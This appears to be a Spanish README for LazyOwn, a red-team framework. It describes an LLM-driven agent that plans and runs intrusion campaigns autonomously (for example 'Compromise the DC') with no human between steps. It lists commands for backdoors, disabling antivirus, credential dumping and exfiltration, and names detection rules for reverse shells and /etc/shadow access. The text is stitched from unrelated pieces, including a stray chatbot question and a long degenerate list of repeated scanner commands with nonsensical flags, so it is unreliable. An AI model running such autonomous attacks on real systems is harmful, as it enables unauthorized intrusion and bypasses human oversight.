| Método | Qué verifica |
|--------|----------------|
| `ai_test` | Predicción del modelo ML de LazyOwnBT |
| `proc_scan` | Nombres de procesos sospechosos |
| `net_scan` | Conexiones/puertos inusuales |
| `log_analyze` | Anomalías de autenticación/syslog |
| `fim_scan` | Cambios de integridad de archivos |
| `redteam_hunt` | Patrones de threat hunting |
| `sigma_rules` | 10 reglas Sigma (mimikatz, reverse shell, privesc, nmap, webshell, /etc/shadow, cron, SMB, exfil, injection) |
**Motor de detección de reglas Sigma** (LazyOwnBT `lazyownbt/detection.py`):
| ID | Regla | Nivel |
|----|------|-------|
| LAZYOWN-001 | Mimikatz Credential Dump | critical |
| LAZYOWN-002 | Reverse Shell Pattern | critical |
| LAZYOWN-003 | Privilege Escalation via Sudo | high |
| LAZYOWN-004 | Nmap Scan Detected | medium |
| LAZYOWN-005 | Webshell Execution | critical |
| LAZYOWN-006 | Process Injection | high |
| LAZYOWN-007 | /etc/shadow Access | critical |
| LAZYOWN-008 | Cron Persistence | high |
| LAZYOWN-009 | Lateral Movement SMB | high |
| LAZYOWN-010 | Data Exfiltration | high |
**Archivos de salida:**
- `sessions/purple_dataset.csv` — Conjunto de datos de entrenamiento ML
- `sessions/purple_audit.jsonl` — Registro de auditoría completo
- `sessions/detection_feedback.jsonl` — Calibración del oráculo
**Nota:** Para uso en producción, intégralo con un SIEM real (Wazuh, Elastic SIEM, Splunk) mediante el reenvío de registros de auditd. Las reglas Sigma integradas son solo para pruebas offline.
### Hive Mind — `skills/hive_mind.py`
Arquitectura multiagente reina+drone con memoria compartida:
- **QueenBrain** (Claude): orquestación de alto nivel + ConsensusProtocol para acciones de alto riesgo
- **DronePool** (Groq/Ollama): ejecución paralela de tareas de recon/exploit/cred/lateral/privesc
- **HiveMemory**: almacenamiento a largo plazo con ChromaDB semántico + SQLite episódico + Parquet
- **EpisodeReflectionEngine**: extracción de lecciones post-campaña almacenadas como `sessions/campaign_lessons.jsonl`
### Autonomous Campaign Intelligence (ACI) — `skills/aci_planner.py`
**El primer framework C2 que planifica, ejecuta y aprende de forma autónoma.**
ACI cierra la brecha entre un objetivo de engagement en lenguaje natural y un bucle
de ejecución totalmente autónomo. Ningún competidor (Cobalt Strike, Sliver, Havoc,
Metasploit) hace esto de extremo a extremo:```
Operator: "Compromise the domain controller at corp.internal
starting from a phishing foothold on 10.10.11.5"
↓
ACI Planner ──► MITRE ATT&CK decomposition (LLM-backed, static fallback)
recon → exploit → exec → privesc → cred → lateral → report
↓
ObjectiveStore ─► 20+ concrete objectives injected into sessions/objectives.jsonl
↓
auto_loop / autonomous_daemon ─► executes each objective autonomously
↓
ACIEngine monitors ─► detects stalled phases (blocked_count ≥ 3)
↓
ACIReplan ──► LLM generates alternative techniques for blocked phases
↓
ACIReflector ──► appends lessons to sessions/campaign_lessons.jsonl
feeds back into the next engagement
Tres herramientas MCP:
| Herramienta | Qué hace |
|---|---|
lazyown_aci_plan | Descompone un objetivo → plan ATT&CK → inyecta objetivos |
lazyown_aci_status | Desglose de fases en vivo, % de finalización, recomendación de replanificación |
lazyown_aci_replan | Fuerza una replanificación adaptativa cuando está estancado; autogenera lecciones |
Inicio rápido:```python
lazyown_aci_plan( goal="Compromise the DC at corp.internal", target="10.10.11.5", scope=["10.10.11.0/24"], domain="corp.internal", os_hint="windows", )
lazyown_auto_loop(target="10.10.11.5", max_steps=20)
lazyown_aci_status()
lazyown_aci_replan(reason="Kerberoasting blocked by AV, try AS-REP roasting")
**Qué hace que ACI sea único frente a otras herramientas:**
- Cobalt Strike / Sliver / Havoc son frameworks C2 — el operador planifica cada paso
- Metasploit tiene automatización pero no inteligencia
- CALDERA emula procedimientos fijos de ATT&CK pero no puede adaptarse a entornos novedosos
- **ACI planifica, ejecuta, replanifica y aprende — continuamente, a lo largo de los compromisos**
**Persistencia:**
| Archivo | Contenido |
|------|----------|
| `sessions/aci_plan.json` | Plan activo: fases, objetivos, estado de finalización |
| `sessions/aci_history.jsonl` | Planes completados/abandonados archivados |
| `sessions/campaign_lessons.jsonl` | Lecciones extraídas por ACIReflector |
**Uso de CLI (independiente):**```bash
python3 skills/aci_planner.py plan "Compromise DC" --target 10.10.11.5 --os windows
python3 skills/aci_planner.py status
python3 skills/aci_planner.py replan "technique blocked"
python3 skills/aci_planner.py reflect
skills/autonomous_daemon.pyCuatro roles de asyncio en un único proceso — no se requiere Claude entre pasos:``` Role 1 — ObjectiveLoop : watches objectives.jsonl, takes + executes Role 2 — ExecutionEngine : 6-layer cascade per step, RL Q-table feedback Reactive → Parquet → Bridge → SWAN(MoE+RL) → LLM → Fallback Role 3 — WorldModelWatcher : graph centrality + pivot candidate tracking Role 4 — DroneCoordinator : hive drone spawning on recon/cred/service findings
Habilita SWAN en el daemon: `export AUTO_USE_SWAN=1` antes de iniciar.
ACI alimenta al daemon: los objetivos inyectados por `lazyown_aci_plan` son recogidos
automáticamente por el Rol 1 (ObjectiveLoop) — no se necesita configuración adicional.
### Razonamiento Basado en Grafos — `modules/world_model.py`
NetworkGraph rastrea todas las relaciones descubiertas (hosts, servicios, credenciales, rutas de confianza) y calcula la centralidad de grado normalizada para identificar candidatos de pivote. Los 3 mejores candidatos se inyectan en cada llamada a `to_context_string()`, asegurando que el bucle autónomo siempre conozca los objetivos de movimiento lateral de mayor valor.
## Guardia de Alcance de Autorización
Un framework de red-team que lee su objetivo desde `payload.json` tiene un filo peligroso:
un `rhost` erróneo dispara comandos ofensivos contra un host no autorizado. El guardia de alcance
es la red de seguridad. Cada comando interactivo fluye a través de un único punto de control
que verifica el objetivo activo contra tu alcance de compromiso autorizado antes de que el
comando se ejecute.```bash
(LazyOwn) > scope add 10.10.11.0/24 # CIDR, bare IP, hostname, or *.corp.local wildcard
(LazyOwn) > scope add dc.corp.local
(LazyOwn) > scope mode enforce # off | warn (default) | enforce
(LazyOwn) > scope # show current scope and posture
off,
por lo que las campañas existentes no se ven afectadas hasta que se opte por participar. Cualquier error interno
permite el comando en lugar de bloquear al operador.warn anota los comandos ofensivos fuera de alcance; enforce los bloquea
a la espera de confirmación explícita (y se niega en sesiones no interactivas).do_* se clasifican automáticamente.payload.json (scope, scope_enforcement); la lógica pura reside en
cli/scope_guard.py con acoplamiento cero al shell.Las dependencias se declaran una vez en pyproject.toml (única fuente de verdad) y
se fijan para instalaciones reproducibles:
requirements.txt — bloqueo del núcleo multiplataforma (sin ruedas CUDA).requirements-ml.txt — opcional, pila ML pesada (torch/CUDA, scikit-learn).install.sh se ejecuta en modo estricto y es idempotente. La instalación predeterminada
es ligera; opte por los extras con --with-ml (pila ML de 2 GB), --with-ollama
(entorno de ejecución LLM local) y --with-tools (binarios externos comunes).pip install -e .[ml,dev].Ctrl+K), sugerencias reactivas en línea tras cada comando y un panel TUI de Textual.yara_marketplace (10 reglas integradas: ransomware, C2, webshells, ofuscación, privesc), nuclei_marketplace (más de 500 plantillas), marketplace para plugins/complementos de la comunidad — todo navegable mediante TUI de curses.auto_pwn recorre automáticamente las fases de la kill-chain, hunt ejecuta descubrimiento dirigido basado en TTPs conocidas.auto_crypto cifra los archivos de sesión sensibles al salir y los descifra al iniciar (PBKDF2HMAC + Fernet), de forma transparente para el operador.dlopen. API datap compatible a nivel de código fuente con el contrato BOF de Windows. Syscalls directas y soporte de io_uring.sessions/captured_images.lazynmap.

cron para programar y automatizar tareas, permitiendo simulaciones de amenazas persistentes.

/addons en el panel del C2 para crear integraciones lazyaddons/*.yaml sin tocar YAML a mano. Un formulario expone todas las opciones de addon (nombre, descripción, autor, versión, habilitado, SO objetivo, servicios de activación, categoría, tipo de módulo, tipo de instalación, parámetros, bloque de herramienta, extras del C2, variables de entorno) con tooltips, placeholders y ayuda por campo. Los chips de placeholder ({rhost}, {url}, parámetros declarados y cada clave de payload.json) se arrastran y sueltan en los cuadros de comando. La validación del lado del servidor rechaza nombres inseguros, path traversal, placeholders desconocidos y URLs malformadas antes de escribir el archivo; las escrituras son atómicas y seguras (archivo temporal creado con permisos restrictivos mediante mkstemp + fchmod, vaciado y fsync, luego promovido con os.replace). Las páginas de lista y vista previa de YAML completan el ciclo de vida. Cada ruta mutadora está protegida con CSRF. Contrato: lazyc2/addon_creator.py + lazyc2/blueprints/addons.py, cubierto por tests/test_addon_creator.py y la puerta de mutación tests/run_mutation_addon_creator.py..pdfx) e incrusta iconos personalizados mediante rsrc para una ingeniería social convincente.
modules/killchain.py calcula la fase; cada superficie (CLI /killchain,
/api/killchain, C2 /api/data+/api/dashboard, panel GUI2) renderiza su
snapshot()./api/beacon_results/<client_id>,
respaldado por modules/beacon_history.py (JSONL, seguro para rutas)./killchain auto on|off|N con auto-refresco en vivo; flags
killchain_auto_every / killchain_auto_on_phase_change.Navegue, busque e instale desde una TUI de marketplace unificada:
yara_marketplace list|search|install|info -- 10 reglas integradas (ransomware, C2, webshells, ofuscación, privesc)nuclei_marketplace list|search|install|info -- más de 500 plantillas desde ~/nuclei-templatesmarketplace list|search|install|update -- 137 addons YAML, 57 plugins, 69 herramientasauto_pwn -- recorrido autónomo de la kill-chain desde el reconocimiento hasta la explotaciónhunt -- reconocimiento basado en amenazas: mapea TTPs conocidas a servicios descubiertosCifrado transparente de sesión al salir / descifrado al iniciar mediante PBKDF2HMAC + Fernet.
7 perfiles APT: Azure Graph API, CICD Poisoning, Entra Connect, macOS TCC, OAuth Token Theft, SCCM/MECM, VDI Breakout.
chainmode on inicia un flujo de encadenamiento impulsado por un modelo del mundo: tras cada comando
el shell ofrece siguientes pasos clasificados (Enter = sugerencia principal, 1..N = alternativa
clasificada, cualquier comando = anulación, skip = manual, ESC/Ctrl+C/off =
salir). Las selecciones inválidas vuelven a preguntar en lugar de omitirse silenciosamente, y el flujo
se autopausa tras max_steps comandos encadenados. El estado persiste en
sessions/chain_mode.json (escrituras atómicas). Contrato: cli/chain_mode.py +
cli/command_chain.py.
[0, 99], nunca un 100% deshonesto), razón y procedencia. Contrato:
cli/reactive_hints.py + cli/recommendation_signals.py.cli/tips_engine.py.cli/noise_verbs.py es la única fuente de verdad para las listas de verbos no accionables
compartidas por sugerencias, consejos y modo de cadena.core/api_authz.py ahora implementa la ventana de gracia de rotación
documentada, copia los permisos de la clave rotada (regresión
corregida), devuelve JSON 401/403 (seguro con TRAP_HTTP_EXCEPTIONS), y el
endpoint C2 /api/health/tenant se aplica realmente. Puerta de mutación:
tests/run_mutation_api_authz.py (7/7 eliminadas).core/logging.py install_json_handler preserva los manejadores preexistentes
y es idempotente.Primitivas de seguridad centralizadas en core/hardening.py con 48 pruebas estilo BDD
(tests/test_security_hardening_v3.py). Ejecutar con:```bash
pytest tests/test_security_hardening.py tests/test_security_hardening_v2.py tests/test_security_hardening_v3.py -v
mutmut run # 122/228 killed, 53.5% kill rate on core/hardening.py
**Correcciones clave aplicadas:**
- `shell=True` eliminado de `anti_forensics.py`, `pivoting.py`, `icmp_server.py`, `resource_script.py`, `command_executor.py`, `postexp_migrated.py` (22 instancias)
- `os.system()` eliminado de `persist_migrated.py`, `cloud.py`, `lazyown.py` (4 instancias), `misc_migrated.py`
- `os.popen()` eliminado de `websocket_beacon.py`, `evasive_payload.py`
- `sshpass -p` reemplazado por `sshpass -e` + variable de entorno en 4 archivos (C2, lateral, exfil, persist)
- Clave de cifrado hardcodeada eliminada de `phishing_orchestrator.py` (ENCRYPTION_KEY obligatoria)
- XSS en el banner de C2 corregido con `html.escape()`
- Inyección de comandos vía rhost en el portapapeles corregida con `safe_clipboard_copy()`
- cmd2 `CMD_ATTR_HELP_CATEGORY` renombrado a `COMMAND_ATTR_HELP_CATEGORY` (compatibilidad con cmd2 4.2.2)
---
## Capacidades de Comandos
LazyOwn proporciona 741 comandos a lo largo de 13 fases de la kill-chain, disponibles tanto desde la CLI como desde el panel web de C2:
| Fase | Comandos Destacados |
|-------|-------------------|
| Recon | `lazynmap`, `ping`, `whatweb`, `gobuster`, `ffuf`, `dig`, `dnsenum`, `finalrecon` |
| Enum | `enum4linux`, `cme`, `bloodhound`, `nuclei`, `kerbrute`, `ldapdomaindump` |
| Exploit | `auto_pwn`, `hunt`, `ss` (searchsploit), `venom`, `lazymsfvenom`, `searchhash` |
| Post-Exploit | `linpeas`, `winpeas`, `blacksandbeacon`, `mimikatzpy`, `disableav` |
| Persistence | `persist`, `backdoor`, `cron`, `schtask`, `createwebshell` |
| PrivEsc | `getcap`, `sudo`, `adcs_check`, `privesc_predictor` |
| Cred Access | `secretsdump`, `evil`, `getnpusers`, `hashcat`, `john`, `spraykatz` |
| Lateral | `psexec`, `wmiexec`, `ssh_cmd`, `chisel`, `ligolo`, `bloodhound` |
| Exfil | `exfil`, `upload_gofile`, `encrypt`/`decrypt`, `compressdir` |
| C2 | `lazyc2`, `blacksandbeacon`, `createrevshell`, `listener_go` |
| Reporting | `report`, `lazyreport`, `campaign_sitrep`, `timeline`, `dashboard` |
| AI/Agents | `auto_loop`, `recommend_next`, `playbook_generate`, `playbook_run`, `orchestrate` |
| Marketplace | `yara_marketplace`, `nuclei_marketplace`, `marketplace`, `lab` |
Gestión principal: `assign`, `show`, `doctor`, `wizard`, `scope`, `collab_join`, `config_banner`, `palette`, `fz`.
Consulta [`COMMANDS.md`](https://github.com/grisuno/lazyown/blob/main/COMMANDS.md) para la referencia completa de 606 comandos y [`ESSENTIALS.md`](https://github.com/grisuno/lazyown/blob/main/ESSENTIALS.md) para los 18 comandos que cubren el 80% de los compromisos.
# Extender LazyOwnShell con Plugins de Lua
Este documento explica cómo usar scripting en Lua para extender la funcionalidad de la aplicación `LazyOwnShell`, que está construida sobre el framework `cmd2` en Python. Lua te permite escribir plugins personalizados que pueden añadir nuevos comandos, modificar el comportamiento existente o acceder a los datos de la aplicación.

---
## Tabla de Contenidos
1. [Introducción](#introduction)
2. [Configuración de Plugins de Lua](#setting-up-lua-plugins)
3. [Escribir Plugins de Lua](#writing-lua-plugins)
4. [Registrar Nuevos Comandos](#registering-new-commands)
5. [Acceder a los Datos de la Aplicación](#accessing-application-data)
6. [Manejo de Errores](#error-handling)
7. [Plugins de Ejemplo](#example-plugins)
8. [Buenas Prácticas](#best-practices)
---
## 1. Introducción
La aplicación `LazyOwnShell` soporta scripting en Lua para permitir a los usuarios extender su funcionalidad sin modificar el código Python principal. Los scripts de Lua (plugins) se almacenan en el directorio `plugins/` y se cargan automáticamente cuando la aplicación se inicia.
Los plugins de Lua pueden:
- Añadir nuevos comandos al shell.
- Modificar comandos o comportamientos existentes.
- Acceder y manipular los datos de la aplicación expuestos por Python.
---
## 2. Configuración de Plugins de Lua
Para usar plugins de Lua, asegúrate de lo siguiente:
1. Instala la librería `lupa` en tu entorno de Python: ```bash
pip install lupa
plugins/
init_plugins.lua
hello.lua
goodbye.lua
Cuando la aplicación se inicia, ejecutará init_plugins.lua, que carga todos los demás archivos .lua en el directorio plugins/.
Estructura de un plugin de Lua ```lua -- Define a function for the new command function my_command(arg) -- Your logic here print("This is a new command: " .. (arg or "default")) end
-- Register the function as a command
register_command("my_command", my_command)
Funciones clave
- register_command(command_name, lua_function):
- Registra un nuevo comando en el shell.
- command_name: El nombre del comando (por ejemplo, hello).
- lua_function: La función Lua que se ejecutará cuando se invoque el comando.
3. Registro de nuevos comandos
Para añadir un nuevo comando al shell, siga estos pasos:
- Defina una función Lua que implemente la lógica del comando.
- Use register_command para registrar la función como un comando.
- Ejemplo: Añadir un comando hello
- Cree un archivo plugins/hello.lua con el siguiente contenido: ```lua
function hello(arg)
local name = arg or "world"
print("Hello, " .. name .. "!")
end
register_command("hello", hello)
Ahora, puedes ejecutar el comando hello en el shell:
bash hello Lua Hello, Lua!
4. Mejores Prácticas
Al aprovechar el scripting de Lua, puedes extender la funcionalidad de LazyOwnShell sin modificar el código Python principal. Esto permite una mayor flexibilidad y personalización, permitiendo a los usuarios escribir sus propios plugins para satisfacer necesidades específicas. ¡Feliz programación!
Extender las capacidades del Framework RedTeam LazyOwn nunca ha sido tan fácil, incluso para no programadores, gracias al sistema LazyAddons que permite extender funcionalidades usando archivos YAML.
Creación declarativa de comandos a través de archivos de configuración YAML.
lazyaddons/ ├── addon1.yaml ├── addon2.yaml └── example.yaml
name: "shortname" # CLI command (do_shortname) enabled: true description: "Tool description for help system"
tool: name: "Full Tool Name" repo_url: "https://github.com/user/repo" install_path: "tools/toolname" execute_command: "python tool.py -u {url}"
Configuración avanzada```yaml
params:
- name: "url"
required: true
description: "Target URL"
default: "http://localhost"
- name: "threads"
required: false
default: 4
Características Autoinstalación Las herramientas se clonan desde Git cuando faltan:```bash git clone <repo_url> <install_path>
Sustitución de parámetros
Reemplaza {param} en los comandos con valores de:
- Argumentos del comando
- Valores predeterminados
- self.params
- Integración de ayuda
help <command> muestra la descripción YAML.
Plantilla```yaml
name: ""
enabled: true
description: ""
tool:
name: ""
repo_url: ""
install_path: ""
install_command: "" # Optional
execute_command: ""
params:
- name: ""
required: true/false
default: ""
description: ""
▶️ Uso Coloca los archivos YAML en lazyaddons/
Inicia tu aplicación CLI
Ejecuta los comandos registrados:```bash (Cmd) help your_command (Cmd) your_command -args
🚨 Solución de problemas
Parámetros faltantes: Verificar los campos requeridos en YAML
Fallos de instalación: Comprobar el acceso a la red/git
Errores de comandos: Validar la sintaxis de execute_command
Características principales:
- Markdown limpio compatible con GitHub
- Enfocado únicamente en addons YAML
- Incluye plantillas listas para usar
- Documenta el sistema de sustitución de parámetros
- Proporciona consejos para la solución de problemas
¿Te gustaría que añada algún ejemplo específico o escenario de uso?

LazyOwn en Reddit
Revoluciona tus Pruebas de Penetración con LazyOwn: Automatiza la intrusión en VÍCTIMAS Linux, MAC OSX y Windows
<https://www.reddit.com/r/LazyOwn/>
<https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a>
Descubre LazyOwn, la solución definitiva para automatizar el flujo de trabajo de pruebas de penetración para atacar sistemas Linux, MacOSX y Windows. Nuestra potente herramienta simplifica las pruebas de penetración, haciéndolas más eficientes y efectivas. Mira este vídeo para aprender cómo LazyOwn puede optimizar tus evaluaciones de seguridad y mejorar tu kit de herramientas de ciberseguridad.```sh
LazyOwn> assign rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...
LazyOwn es ideal para profesionales de la ciberseguridad que buscan una solución centralizada y automatizada para sus necesidades de pentesting, ahorrando tiempo y mejorando la eficiencia en la identificación y explotación de vulnerabilidades.

Python 3.x
Módulos de Python:
subprocess (incluido en la biblioteca estándar de Python)
platform (incluido en la biblioteca estándar de Python)
tkinter (Opcional para el GUI)
numpy (Opcional para el GUI)
2. Instala las dependencias de Python:```sh
./install.sh
```sh
./run or ./fast_run_as_r00t.sh
./run --help [;,;] LazyOwn vvvrelease/0.2.8 Usage: ./run [Options] Options: --help Show this help panel. -v Show version. -p <payloadN.json> Exec with different payload.json example. ./run -p payload1.json, (Special for RedTeams) -c Exec a command using LazyOwn example: ping --no-banner No Banner -s Run as root --old-banner Show old Banner
./fast_run_as_r00t.sh --vpn 1 (the number id of your file in vpn directory)
## 🧪 Ejemplos de uso
### Ejemplo 1: Escaneo básico de un objetivo
```bash
python3 vuln-scanner.py -t https://example.com
python3 vuln-scanner.py -t https://example.com -m sqli,xss
python3 vuln-scanner.py -t https://example.com -a "Bearer YOUR_TOKEN"
python3 vuln-scanner.py -t https://example.com -p http://127.0.0.1:8080
python3 vuln-scanner.py -t https://example.com -o json
python3 vuln-scanner.py -t https://example.com -o html
python3 vuln-scanner.py -t https://example.com -o csv
python3 vuln-scanner.py -t https://example.com -o markdown
python3 vuln-scanner.py -t https://example.com -o xml
python3 vuln-scanner.py -t https://example.com -o yaml
python3 vuln-scanner.py -t https://example.com -o sarif
python3 vuln-scanner.py -t https://example.com -o junit
python3 vuln-scanner.py -t https://example.com -o html -f report.html
python3 vuln-scanner.py -t https://example.com -o json -f report.json
python3 vuln-scanner.py -t https://example.com -o csv -f report.csv
python3 vuln-scanner.py -t https://example.com -o markdown -f report.md
python3 vuln-scanner.py -t https://example.com -o xml -f report.xml
python3 vuln-scanner.py -t https://example.com -o yaml -f report.yaml
python3 vuln-scanner.py -t https://example.com -o sarif -f report.sarif
python3 vuln-scanner.py -t https://example.com -o junit -f report.xml
python3 vuln-scanner.py -t https://example.com -o html -f my_report.html
python3 vuln-scanner.py -t https://example.com -o json -f my_report.json
python3 vuln-scanner.py -t https://example.com -o csv -f my_report.csv
python3 vuln-scanner.py -t https://example.com -o markdown -f my_report.md
python3 vuln-scanner.py -t https://example.com -o xml -f my_report.xml
python3 vuln-scanner.py -t https://example.com -o yaml -f my_report.yaml
python3 vuln-scanner.py -t https://example.com -o sarif -f my_report.sarif
python3 vuln-scanner.py -t https://example.com -o junit -f my_report.xml
python3 vuln-scanner.py -t https://example.com -o html -f /path/to/my_report.html
python3 vuln-scanner.py -t https://example.com -o json -f /path/to/my_report.json
python3 vuln-scanner.py -t https://example.com -o csv -f /path/to/my_report.csv
python3 vuln-scanner.py -t https://example.com -o markdown -f /path/to/my_report.md
python3 vuln-scanner.py -t https://example.com -o xml -f /path/to/my_report.xml
python3 vuln-scanner.py -t https://example.com -o yaml -f /path/to/my_report.yaml
python3 vuln-scanner.py -t https://example.com -o sarif -f /path/to/my_report.sarif
python3 vuln-scanner.py -t https://example.com -o junit -f /path/to/my_report.xml
python3 vuln-scanner.py -t https://example.com -o html -f /path/to/my_report.html -v
python3 vuln-scanner.py -t https://example.com -o json -f /path/to/my_report.json -v
python3 vuln-scanner.py -t https://example.com -o csv -f /path/to/my_report.csv -v
python3 vuln-scanner.py -t https://example.com -o markdown -f /path/to/my_report.md -v
python3 vuln-scanner.py -t https://example.com -o xml -f /path/to/my_report.xml -v
python3 vuln-scanner.py -t https://example.com -o yaml -f /path/to/my_report.yaml -v
python3 vuln-scanner.py -t https://example.com -o sarif -f /path/to/my_report.sarif -v
python3 vuln-scanner.py -t https://example.com -o junit -f /path/to/my_report.xml -v
python3 vuln-scanner.py -t https://example.com -o html -f /path/to/my_report.html -v -q
python3 vuln-scanner.py -t https://example.com -o json -f /path/to/my_report.json -v -q
python3 vuln-scanner.py -t https://example.com -o csv -f /path/to/my_report.csv -v -q
python3 vuln-scanner.py -t https://example.com -o markdown -f /path/to/my_report.md -v -q
python3 vuln-scanner.py -t https://example.com -o xml -f /path/to/my_report.xml -v -q
python3 vuln-scanner.py -t https://example.com -o yaml -f /path/to/my_report.yaml -v -q
python3 vuln-scanner.py -t https://example.com -o sarif -f /path/to/my_report.sarif -v -q
python3 vuln-scanner.py -t https://example.com -o junit -f /path/to/my_report.xml -v -q
python3 vuln-scanner.py -t https://example.com -o html -f /path/to/my_report.html -v -q -d
python3 vuln-scanner.py -t https://example.com -o json -f /path/to/my_report.json -v -q -d
python3 vuln-scanner.py -t https://example.com -o csv -f /path/to/my_report.csv -v -q -d
python3 vuln-scanner.py -t https://example.com -o markdown -f /path/to/my_report.md -v -q -d
python3 vuln-scanner.py -t https://example.com -o xml -f /path/to/my_report.xml -v -q -d
python3 vuln-scanner.py -t https://example.com -o yaml -f /path/to/my_report.yaml -v -q -d
python3 vuln-scanner.py -t https://example.com -o sarif -f /path/to/my_report.sarif -v -q -d
python3 vuln-scanner.py -t https://example.com -o junit -f /path/to/my_report.xml -v -q -d
python3 vuln-scanner.py -t https://example.com -o html -f /path/to/my_report.html -v -q -d --test
python3 vuln-scanner.py -t https://example.com -o json -f /path/to/my_report.json -v -q -d --test
python3 vuln-scanner.py -t https://example.com -o csv -f /path/to/my_report.csv -v -q -d --test
python3 vuln-scanner.py -t https://example.com -o markdown -f /path/to/my_report.md -v -q -d --test
python3 vuln-scanner.py -t https://example.com -o xml -f /path/to/my_report.xml -v -q -d --test
python3 vuln-scanner.py -t https://example.com -o yaml -f /path/to/my_report.yaml -v -q -d --test
python3 vuln-scanner.py -t https://example.com -o sarif -f /path/to/my_report.sarif -v -q -d --test
python3 vuln-scanner.py -t https://example.com -o junit -f /path/to/my_report.xml -v -q -d --test
python3 vuln-scanner.py -t https://example.com -o html -f /path/to/my_report.html -v -q -d --test --dry-run
python3 vuln-scanner.py -t https://example.com -o json -f /path/to/my_report.json -v -q -d --test --dry-run
python3 vuln-scanner.py -t https://example.com -o csv -f /path/to/my_report.csv -v -q -d --test --dry-run
python3 vuln-scanner.py -t https://example.com -o markdown -f /path/to/my_report.md -v -q -d --test --dry-run
python3 vuln-scanner.py -t https://example.com -o xml -f /path/to/my_report.xml -v -q -d --test --dry-run
python3 vuln-scanner.py -t https://example.com -o yaml -f /path/to/my_report.yaml -v -q -d --test --dry-run
python3 vuln-scanner.py -t https://example.com -o sarif -f /path/to/my_report.sarif -v -q -d --test --dry-run
python3 vuln-scanner.py -t https://example.com -o junit -f /path/to/my_report.xml -v -q -d --test --dry-run
python3 vuln-scanner.py -t https://example.com -o html -f /path/to/my_report.html -v -q -d --test --dry-run --read-only
python3 vuln-scanner.py -t https://example.com -o json -f /path/to/my_report.json -v -q -d --test --dry-run --read-only
python3 vuln-scanner.py -t https://example.com -o csv -f /path/to/my_report.csv -v -q -d --test --dry-run --read-only
python3 vuln-scanner.py -t https://example.com -o markdown -f /path/to/my_report.md -v -q -d --test --dry-run --read-only
python3 vuln-scanner.py -t https://example.com -o xml -f /path/to/my_report.xml -v -q -d --test --dry-run --read-only
python3 vuln-scanner.py -t https://example.com -o yaml -f /path/to/my_report.yaml -v -q -d --test --dry-run --read-only
python3 vuln-scanner.py -t https://example.com -o sarif -f /path/to/my_report.sarif -v -q -d --test --dry-run --read-only
python3 vuln-scanner.py -t https://example.com -o junit -f /path/to/my_report.xml -v -q -d --test --dry-run --read-only
python3 vuln-scanner.py -t https://example.com -o html -f /path/to/my_report.html -v -q -d --test --dry-run --read-only --write-only
python3 vuln-scanner.py -t https://example.com -o json -f /path/to/my_report.json -v -q -d --test --dry-run --read-only --write-only
python3 vuln-scanner.py -t https://example.com -o csv -f /path/to/my_report.csv -v -q -d --test --dry-run --read-only --write-only
python3 vuln-scanner.py -t https://example.com -o markdown -f /path/to/my_report.md -v -q -d --test --dry-run --read-only --write-only
python3 vuln-scanner.py -t https://example.com -o xml -f /path/to/my_report.xml -v -q -d --test --dry-run --read-only --write-only
python3 vuln-scanner.py -t https://example.com -o yaml -f /path/to/my_report.yaml -v -q -d --test --dry-run --read-only --write-only
python3 vuln-scanner.py -t https://example.com -o sarif -f /path/to/my_report.sarif -v -q -d --test --dry-run --read-only --write-only
python3 vuln-scanner.py -t https://example.com -o junit -f /path/to/my_report.xml -v -q -d --test --dry-run --read-only --write-only
python3 vuln-scanner.py -t https://example.com -o html -f /path/to/my_report.html -v -q -d --test --dry-run --read-only --write-only --execute-only
python3 vuln-scanner.py -t https://example.com -o json -f /path/to/my_report.json -v -q -d --test --dry-run --read-only --write-only --execute-only
python3 vuln-scanner.py -t https://example.com -o csv -f /path/to/my_report.csv -v -q -d --test --dry-run --read-only --write-only --execute-only
python3 vuln-scanner.py -t https://example.com -o markdown -f /path/to/my_report.md -v -q -d --test --dry-run --read-only --write-only --execute-only
python3 vuln-scanner.py -t https://example.com -o xml -f /path/to/my_report.xml -v -q -d --test --dry-run --read-only --write-only --execute-only
python3 vuln-scanner.py -t https://example.com -o yaml -f /path/to/my_report.yaml -v -q -d --test --dry-run --read-only --write-only --execute-only
python3 vuln-scanner.py -t https://example.com -o sarif -f /path/to/my_report.sarif -v -q -d --test --dry-run --read-only --write-only --execute-only
python3 vuln-scanner.py -t https://example.com -o junit -f /path/to/my_report.xml -v -q -d --test --dry-run --read-only --write-only --execute-only
Use assign to configure parameters. Use show to display the current parameter values. Use run <script_name> to execute a script with the set parameters. Use exit to exit the CLI.
Once the shell is running, you can use the following commands:
list: Lists all LazyOwn Modules. assign : Sets the value of a parameter. For example, assign rhost 192.168.1.1. show: Displays the current values of all parameters. run
┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env) └╼ $ help
Reconnaissance
──────────────────
alterx finalrecon ping trace
apache_users getcap ports trufflehog
binarycheck gospider proxy tshark_analyze
cve graudit recon waybackmachine
dig httprobe serveralive2 whatweb
dnschef ipinfo sherlock windapsearchscrapeusers
dnsenum launchpad sslscan
dnsmap metabigor tcpdump_capture
dnstool_py openssl_sclient tcpdump_icmp
Scanning & Enumeration
──────────────────────────
ad_ldap_enum enum4linux_ng nbtscan rpcdump wpscan
allin evil_ssdp net_rpc_addmem rpcmap_py
amass feroxbuster netexec samrdump
arjun finger_user_enum netview sawks
arpscan fuzz nikto sessionssh
batchnmap getnpusers nmapscript skipfish
bbot gobuster nuclei smbattack
blazy hound odat smbclient
bloodhound kerbrute openredirex smbclient_impacket
breacher lazynmap osmedeus smbclient_py
certipy ldapdomaindump parsero smbmap
certipy_ad ldapsearch parth smtpuserenum
changeme lookupsid portdiscover snmpcheck
cme lookupsid_py portservicediscover snmpwalk
davtest loxs pre2k swaks
dirsearch lynis pykerbrute vscan
dmitry magicrecon rdp_check_py wfuzz
enum4linux mqtt_check_py rpcclient windapsearch
Exploitation
────────────────
aclpwn_py gettgtpkinit_py psexec sqlmap
addspn_py greatSCT psexec_py sqsh
autoblody img2cookie py3ttyup ss
cacti_exploit jwt_tool pyautomate sshexploit
commix krbrelayx_py pyoracle2 template_helper_serializer
cp kusa pywhisker ticketer
createcookie lazypwn rejetto_hfs_exec unicode_WAFbypass
createdll lfi rev upload_bypass
digdug lol seo utf
download_exploit ms08_067_netapi sharpshooter winbase64payload
downloader ntpdate shellfire wrapper
eternal owneredit shellshock www
excelntdonut padbuster sireprat xss
filtering powerserver sqli xsstrike
